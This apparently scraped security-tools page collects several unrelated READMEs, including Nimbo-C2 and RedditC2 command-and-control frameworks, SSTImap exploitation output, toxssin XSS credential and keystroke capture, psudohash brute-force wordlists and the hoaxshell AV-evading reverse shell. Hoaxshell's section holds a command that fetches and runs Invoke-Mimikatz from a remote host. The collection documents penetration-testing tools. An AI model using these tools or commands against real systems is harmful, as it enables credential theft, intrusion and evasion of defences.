Nimbo-2 [d337c406] > help

    --== Send Commands ==--
    cmd <shell-command>                    ->  execute a shell command
    iex <powershell-scriptblock>           ->  execute in-memory powershell command

    --== File Stuff ==--
    download <remote-file>                 ->  download a file from the agent (wrap path with quotes)
    upload <loal-file> <remote-path>       ->  upload a file to the agent (wrap paths with quotes)

    --== Discovery Stuff ==--
    pstree                                 ->  show process tree
    checksec                               ->  check for security products
    software                               ->  check for installed software

    --== Collection Stuff ==--
    clipboard                              ->  retrieve clipboard
    screenshot                             ->  retrieve screenshot
       audio <record-time>                    ->  record audio

    --== Post Exploitation Stuff ==--
    lsass <method>                         ->  dump lsass.exe [methods:  direct,comsvcs] (elevation required)
    sam                                    ->  dump sam,security,system hives using reg.exe (elevation required)
    shellc <raw-shellcode-file> <pid>      ->  inject shellcode to remote process
    assembly <local-assembly> <args>       ->  execute .net assembly (pass all args as a single string using quotes)
                                               warning: make sure the assembly doesn't call any exit function

    --== Evasion Stuff ==--
    unhook                                 ->  unhook ntdll.dll
    amsi                                      ->  patch amsi out of the current process
    etw                                    ->  patch etw out of the current process

    --== Persistence Stuff ==--
    persist run <command> <key-name>       ->  set run key (will try first hklm, then hkcu)
    persist spe <command> <process-name>   ->  persist using silent process exit technique (elevation required)

    --== Privesc Stuff ==--
    uac fodhelper <command> <keep/die>     ->  elevate session using the fodhelper uac bypass technique
    uac sdclt <command> <keep/die>         ->  elevate session using the sdclt uac bypass technique

    --== Interaction stuff ==--
    msgbox <title> <text>                  ->  pop a message box (blocking! waits for enter press)
       speak <text>                           ->  speak using sapi.spvoice com interface

    --== Communication Stuff ==--
    sleep <sleep-time> <jitter-%>          ->  change sleep time interval and jitter
    clear                                  ->  clear pending commands
    collect                                ->  recollect agent data
    kill                                   ->  kill the agent (persistence will still take place)

    --== General ==--
    show                                   ->  show agent details
    back                                   ->  back to main screen
    cls                                    ->  clear the screen
    help                                   ->  print this help message
    exit                                   ->  exit Nimbo-C2

Nimbo-2 [51a33cb9] > help

    --== Send Commands ==--
    cmd <shell-command>                    ->  execute a terminal command 

    --== File Stuff ==--
    download <remote-file>                 ->  download a file from the agent (wrap path with quotes)
    upload <local-file> <remote-path>      ->  upload a file to the agent (wrap paths with quotes)

    --== Post Exploitation Stuff ==--
    memfd <mode> <elf-file> <commandline>  ->  load elf in-memory using the memfd_create syscall
                                               implant mode: load the elf as a child process and return
                                               task mode: load the elf as a child process, wait on it, and get its output when it's done
                                                  (pass the whole commandline as a single string using quotes)

    --== Communication Stuff ==--
    sleep <sleep-time> <jitter-%>          ->  change sleep time interval and jitter
    clear                                  ->  clear pending commands
    collect                                ->  recollect agent data
    kill                                   ->  kill the agent (persistence will still take place)

    --== General ==--
    show                                   ->  show agent details
    back                                   ->  back to main screen
    cls                                    ->  clear the screen
    help                                   ->  print this help message
    exit                                   ->  exit Nimbo-C2
   

RedditC2 - Abusing Reddit API To Host The C2 Traffic, Since Most Of The Blue-Team Members Use Reddit, It Might Be A Great Way To Make The Traffic Look Legit



[Disclaimer]: Use of this project is for Educational/ Testing purposes only. Using it on unauthorised machines is strictly forbidden. If somebody is found to use it for illegal/ malicious intent, author of the repo will not be held responsible.

Requirements

Install PRAW library in python3:

pip3 install praw

Quickstart

See the Quickstart guide on how to get going right away!

Demo

Workflow

Teamserver

1. Go to the specific Reddit Post & post a new comment with the command ("in: ")
2. Read for new comment which includes the word "out:"
3. If no such comment is found, go back to step 2
4. Parse the comment, decrypt it and read it's output
5. Edit the existing comment to "executed", to avoid reexecuting it

Client

1. Go to the specific Reddit Post & read the latest comment which includes "in:"
2. If no new comment is detected, go back to step 1
3. Parse the command out of the comment, decrypt it and execute it locally
4. Encrypt the command's output and reply it to the respective comment ("out:" )

Below is a demonstration of the XOR-encrypted C2 traffic for understanding purposes:

Scanning results

Since it is a custom C2 Implant, it doesn't get detected by any AV as the bevahiour is completely legit.

TO-DO

• Teamserver and agent compatible in Windows/Linux
• Make the traffic encrypted
• Add upload/download feature
• Add persistence feature
• Generate the agents dynamically (from the TeamServer)
• Tab autocompletion

Credits

Special thanks to @T4TCH3R for working with me and contributing to this project.

Kali Linux 2023.1 - Penetration Testing and Ethical Hacking Linux Distribution

SSTImap - Automatic SSTI Detection Tool With Interactive Interface

SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation.

Sandbox break-out techniques came from:

• James Kett's Server-Side Template Injection: RCE For The Modern Web App
• Other public researches [1] [2]
• Contributions to Tplmap [3] [4].

This tool is capable of exploiting some code context escapes and blind injection scenarios. It also supports eval()-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.

Differences with Tplmap

Even though this software is based on Tplmap's code, backwards compatibility is not provided.

• Interactive mode (-i) allowing for easier exploitation and detection
• Base language eval()-like shell (-x) or single command (-X) execution
• Added new payload for Smarty without enabled {php}{/php}. Old payload is available as Smarty_unsecure.
• User-Agent can be randomly selected from a list of desktop browser agents using -A
• SSL verification can now be enabled using -V
• Short versions added to all arguments
• Some old command line arguments were changed, check -h for help
• Code is changed to use newer python features
• Burp Suite extension temporarily removed, as Jython doesn't support Python3

Server-Side Template Injection

This is an example of a simple website written in Python using Flask framework and Jinja2 template engine. It integrates user-supplied variable name in an unsafe way, as it is concatenated to the template string before rendering.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Not only this way of using templates creates XSS vulnerability, but it also allows the attacker to inject template code, that will be executed on the server, leading to SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

User-supplied input should be introduced in a safe way through rendering context:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Predetermined mode

SSTImap in predetermined mode is very similar to Tplmap. It is capable of detecting and exploiting SSTI vulnerabilities in multiple different templates.

After the exploitation, SSTImap can provide access to code evaluation, OS command execution and file system manipulations.

To check the URL, you can use -u argument:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚═════════════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injecti   on: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's    port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Use --os-shell option to launch a pseudo-terminal on the target.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 0.6#dev
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

To get a full list of options, use --help argument.

Interactive mode

In interactive mode, commands are used to interact with SSTImap. To enter interactive mode, you can use -i argument. All other arguments, except for the ones regarding exploitation payloads, will be used as initial values for settings.

Some commands are used to alter settings between test runs. To run a test, target URL must be supplied via initial -u argument or url command. After that, you can use run command to check URL for SSTI.

If SSTI was found, commands can be used to start the exploitation. You can get the same exploitation capabilities, as in the predetermined mode, but you can use Ctrl+C to abort them without stopping a program.

By the way, test results are valid until target url is changed, so you can easily switch between exploitation methods without running detection test every time.

To get a full list of interactive commands, use command help in interactive mode.

Supported template engines

SSTImap supports multiple template engines and eval()-like injections.

New payloads are welcome in PRs.

Burp Suite Plugin

Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided.

Future plans

If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors.

• Make template and base language evaluation functionality more uniform
• Add more payloads for different engines
• Short arguments as interactive commands?
• Automatic languages and engines import
• Engine plugins as objects of Plugin class?
• JSON/plaintext API modes for scripting integrations?
• Argument to remove escape codes?
• Spider/crawler automation
• Better integration for Python scripts
• More POST data types support
• Payload processing scripts

APTRS - Automated Penetration Testing Reporting System

Documentation

Documentation

Prerequisites

• Python 3.8 and above (https://www.python.org/downloads/release/python-3810/)
• wkhtmltopdf 0.12.6 and above (https://wkhtmltopdf.org/downloads.html)

Installation

The tool has been tested using Python 3.8.10 on Kali Linux 2022.2/3, Ubuntu 20.04.5 LTS, Windows 10/11.

Windows Installation

  git clone https://github.com/Anof-cyber/APTRS.git
  cd APTRS
  install.bat

Linux Installation

  git clone https://github.com/Anof-cyber/APTRS.git
  cd APTRS
  install.sh

Running

Windows

  run.bat

Linux

  run.sh

Features

• Demo Report
• Managing Vulnerabilities
• Manage All Projects in one place
• Create a Vulnerability Database and avoid writing the same description and recommendations again
• Easily Create PDF Reprot
• Dynamically add POC, Description and Recommendations
• Manage Customers and Comapany

Screenshots

Project

View Project

Project Vulnerability

Project Report

Project Add Vulnerability

Roadmap

• Improving Report Quality
• Bulk Instance Upload
• Pentest Mapper Burp Suite Extension Integration
• Allowing Multiple Project Scope
• Improving Code, Error handling and Security
• Docker Support
• Implementing Rest API
• Project and Project Retest Handler
• Access Control and Authorization
• Support Nessus Parsing

Authors

• Sourav Kalal

Kali Linux 2022.4 - Penetration Testing and Ethical Hacking Linux Distribution

Tips for Choosing a Pentesting Company

Parrot 5.1 - Security GNU/Linux Distribution Designed with Cloud Pentesting and IoT Security in Mind

Parrot OS 5.1 is officially released. We're proud to say that the new version of Parrot OS 5.1 is available for download; this new version includes a lot of improvements and updates that makes the distribution more performing and more secure.

How do I get Parrot OS?

You can download Parrot OS by clicking here and, as always, we invite you to never trust third part and unofficial sources.

If you need any help or in case the direct downloads don't work for you, we also provide official Torrent files, which can circumvent firewalls and network restrictions in most cases.

How do I upgrade from a previous version?

First of all, we always suggest to update your version for being sure that is stable and functional. You can upgrade an existing system via APT using one of the following commands:

• sudo parrot-upgrade

or

• sudo apt update && sudo apt full-upgrade

Even if we recommend to always update your version, it is also recommended to do a backup and re-install the latest version to have a cleaner and more reliable user experience, especially if you upgrade from a very old version of parrot.

What's new in Parrot OS 5.1

New kernel 5.18.

You can find all the infos about the new Kernel 5.18 by clickig on this link.

Updated docker containers

Our docker offering has been revamped! We now provide our dedicated parrot.run image registry along with the default docker.io one.

All our images are now natively multiarch, and support amd64 and arm64 architectures.

Our containers offering was updated as well, and we are committed to further improve it.

Run docker run --rm -ti --network host -v $PWD/work:/work parrot.run/core and give our containers a try without having to install the system, or visit our Docker images page to explore the other containers we offer.

Updated backports.

Several packages were updated and backported, like the new Golang 1.19 or Libreoffice 7.4. This is part of our commitment to provide the latest version of every most important software while choosing a stable LTS release model.

To make sure to have all the latest packages installed from our backports channel, use the following commands:

• sudo apt update
• sudo apt full-upgrade -t parrot-backports

System updates

The system has received important updates to some opf its key packages, like parrot-menu, which now provides additional launchers to our newly imported tools; or parrot-core, which now provides a new firefox profile with improved security hardening, plus some minor bugfixes to our zshrc configuration.

Firefox profile overhault

As mentioned earlier, our Firefox profile has received a major update that significantly improves the overall privacy and security.

Our bookmarks collection has been revamped, and now includes new resources, including OSINT services, new learning sources and other useful resources for hackers, developers, students and security researchers.

We have also boosted our effort to avoid Mozilla telemetry and bring DuckDuckGo back as the default search engine, while we are exploring other alternatives for the future.

Tools updates

Most of our tools have received major version updates, especially our reverse engineering tools, like rizin and rizin-cutter.

Important updates involved metasploit, exploitdb and other popular tools as well.

New AnonSurf 4.0

The new AnonSurf 4 represents a major upgrade for our popular anonymity tool.

Anonsurf is our in-house anonymity solution that routes all the system traffic through TOR automatically without having to set up proxy settings for each individua program, and preventing traffic leaking in most cases.

The new version provides significant fixes and reliability updates, fully supports debian systems without the old resolvconf setup, has a new user interface with improved system tray icon and settings dialog window, and offers a better overall user experience.

Parrot IoT improvements

Our IoT version now implements significant performance improvements for the various Raspberry Pi boards, and finally includes Wi-Fi support for the Raspberry Pi 400 board.

The Parrot IoT offering has also been expanded, and it now offers Home and Security editions as well, with a full MATE desktop environment exactly like the desktop counterpart.

Architect Edition improvements

Our popular Architect Edition now implements some minor bugfixes and is more reliable than ever.

The Architect Edition is a special edition of Parrot that enables the user to install a barebone Parrot Core system, and then offers a selection of additional modules to further customize the system.

You can use Parrot Architect to install other desktop environments like KDE, GNOME or XFCE, or to install a specific selection of tools.

New infrastructure powered by Parrot and Kubernetes

The Architect Edition is also used internally by the Parrot Engineering Team to install Parrot Server Edition on all the servers that power our infrastructure, which is officially 100% powered by Parrot and Kubernetes.

This is a major change in the way we handle our infrastructure, which enables us to implement better autoscaling, easier management, smaller attack surface and an overall better network, with the improved scalability and security we were looking for.

Bayanay - Python Wardriving Tool

WarDriving is the act of navigating, on foot or by car, to discover wireless networks in the surrounding area.

Features

Wardriving is done by combining the SSID information obtained with scapy using the HTML5 geolocation feature.

Usage

I cannot be held responsible for the malicious use of the vehicle.

ssidBul.py has been tested via TP-LINK TL WN722N.

Selenium 3.11.0 and Firefox 59.0.2 are used for location.py. Firefox geckodriver is located in the directory where the codes are.

SSID and MAC names and location information were created and changed in the test environment.

ssidBul.py and location.py must be run concurrently.

ssidBul.py result:

20 March 2018 11:48PM|9c:b2:b2:11:12:13|ECFJ3M

20 March 2018 11:48PM|c0:25:e9:11:12:13|T7068

Here is a screenshot of allowing location information while running location.py:

The screenshot of the location information is as follows:

konum.py result:

lat=38.8333635|lon=34.759741899|20 March 2018 11:47PM

lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM

lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM

lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM

lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM

lat=38.8333635|lon=34.759741899|20 March 2018 11:49PM

lat=38.8333635|lon=34.759741899|20 March 2018 11:49PM

After the data collection processes, the following output is obtained as a result of running wardriving.py:

lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM|9c:b2:b2:11:12:13|ECFJ3M

lat=38.8333635|lon=34.759741899|20 March 2018 11:48PM|c0:25:e9:11:12:13|T7068

Contact

https://twitter.com/anilyelken06

https://medium.com/@anilyelken

Psudohash - Password List Generator That Focuses On Keywords Mutated By Commonly Used Password Creation Patterns

psudohash is a password list generator for orchestrating brute force attacks. It imitates certain password creation patterns commonly used by humans, like substituting a word's letters with symbols or numbers, using char-case variations, adding a common padding before or after the word and more. It is keyword-based and highly customizable.

Pentesting Corporate Environments

System administrators and other employees often use a mutated version of the Company's name to set passwords (e.g. Am@z0n_2022). This is commonly the case for network devices (Wi-Fi access points, switches, routers, etc), application or even domain accounts. With the most basic options, psudohash can generate a wordlist with all possible mutations of one or multiple keywords, based on common character substitution patterns (customizable), case variations, strings commonly used as padding and more. Take a look at the following example:

The script includes a basic character substitution schema. You can add/modify character substitution patterns by editing the source and following the data structure logic presented below (default):

transformations = [
	{'a' : '@'},
	{'b' : '8'},
	{'e' : '3'},
	{'g' : ['9', '6']},
	{'i' : ['1', '!']},
	{'o' : '0'},
	{'s' : ['$', '5']},
	{'t' : '7'}
]

Individuals

When it comes to people, i think we all have (more or less) set passwords using a mutation of one or more words that mean something to us e.g., our name or wife/kid/pet/band names, sticking the year we were born at the end or maybe a super secure padding like "!@#". Well, guess what?

Installation

No special requirements. Just clone the repo and make the script executable:

git clone https://github.com/t3l3machus/psudohash
cd ./psudohash
chmod +x psudohash.py

Usage

./psudohash.py [-h] -w WORDS [-an LEVEL] [-nl LIMIT] [-y YEARS] [-ap VALUES] [-cpb] [-cpa] [-cpo] [-o FILENAME] [-q]

The help dialog [ -h, --help ] includes usage details and examples.

Usage Tips

1. Combining options --years and --append-numbering with a --numbering-limit ≥ last two digits of any year input, will most likely produce duplicate words because of the mutation patterns implemented by the tool.
2. If you add custom padding values and/or modify the predefined common padding values in the source code, in combination with multiple optional parameters, there is a small chance of duplicate words occurring. psudohash includes word filtering controls but for speed's sake, those are limited.

Future

I'm gathering information regarding commonly used password creation patterns to enhance the tool's capabilities.

Toxssin - An XSS Exploitation Command-Line Interface And Payload Generator

toxssin is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).

This project started as (and still is) a research-based creative endeavor to explore the exploitability depth that an XSS vulnerability may introduce by using vanilla JavaScript, trusted certificates and cheap tricks.

Disclaimer: The project is quite fresh and has not been widely tested.

Video Presentation

Find screenshots here.

Capabilities

By default, toxssin intercepts:

• cookies (if HttpOnly not present),
• keystrokes,
• paste events,
• input change events,
• file selections,
• form submissions,
• server responses,
• table data (static as well as updates),

Most importantly, toxssin:

• attempts to maintain XSS persistence while the user browses the website by intercepting http requests & responses and re-writing the document,
• supports session management, meaning that, you can use it to exploit reflected as well as stored XSS,
• supports custom JS script execution against sessions,
• automatically logs every session.

Installation & Usage

git clone https://github.com/t3l3machus/toxssin
cd ./toxssin
pip3 install -r requirements.txt

To start toxssin.py, you will need to supply ssl certificate and private key files.

If you don't own a domain with a trusted certificate, you can issue and use self-signed certificates with the following command (although this won't take you far):

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

It is strongly recommended to run toxssin with a trusted certificate (see How to get a Valid Certificate in this document). That said, you can start the toxssin server like this:

# python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem

Visit the project's wiki for additional information.

XSS Exploitation Obstacles

In my experience, there are 4 major obstacles when it comes to Cross-Site Scripting attacks attempting to include external JS scripts:

1. the "Mixed Content" error, which can be resolved by serving the JavaScript payload via https (even with a self-signed certificate).
2. the "NET::ERR_CERT_AUTHORITY_INVALID" error, which indicates that the server's certificate is untrusted / expired and can be bypassed by using a certificate issued by a trusted Authority.
3. Cross-origin resource sharing (CORS), which is handled appropriately by the toxssin server.
4. Content-Security-Policy header with the script-src set to specific domain(s) only will block scripts with cross-domain src from loading. Toxssin relies on the eval() function to deliver its poison, so, if the website has a CSP and the unsafe-eval source expression is not specified in the script-src directive, the attack will most likely fail (i'm working on a second poison delivery method to work around this).

Note: The "Mixed Content" error can of course occur when the target website is hosted via http and the JavaScript payload via https. This limits the scope of toxssin to https only webistes, as (by default) toxssin is started with ssl only.

How to get a Valid Certificate

First, you need to own a domain name. The fastest and most economic way to get one (in my knowledge) is via a cheap domain registrar service (e.g. https://www.namecheap.com/). Search for a random string domain name (e.g. "fvcm98duf") and check the less popular TLDs, like .xyz, as they will probably cost around 3$ per year.

After you purchase a domain name, you can use certbot (Let's Encrypt) to get a trusted certificate in 5 minutes or less:

1. Append an A record to your Domain's DNS settings so that it points to your server ip,
2. Follow certbots official instructions.

Tip: Don't install and run certbot on your own, you might get unexpected errors. Stick with the instructions.

Changelog

2022-06-19 - Added the exec prompt command (you can now execute custom JS scripts against a session).
2022-06-23 - I added two simple, dirty scripts as templates for testing the exec prompt command. I also fixed the cmd prompt's backward history access and made some improvements.

Future

The idea is to make it sharper, more reliable and expand its capabilities. Currently, i'm working on improving file captures.

Hoaxshell - An Unconventional Windows Reverse Shell, Currently Undetected By Microsoft Defender And Various Other AV Solutions, Solely Based On Http(S) Traffic

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).

Video Presentation

Screenshots

Find more screenshots here.

Installation

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Usage

Basic shell session over http

sudo python3 hoaxshell.py -s <your_ip>

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -r argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it.

Encrypted shell session (https):

# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

sudo python3 hoaxshell.py -s <your_ip> -g

Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).

Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.

Future

I am currently working on some auxiliary-type prompt commands to automate parts of host enumeration.

Kali Linux 2022.3 - Penetration Testing and Ethical Hacking Linux Distribution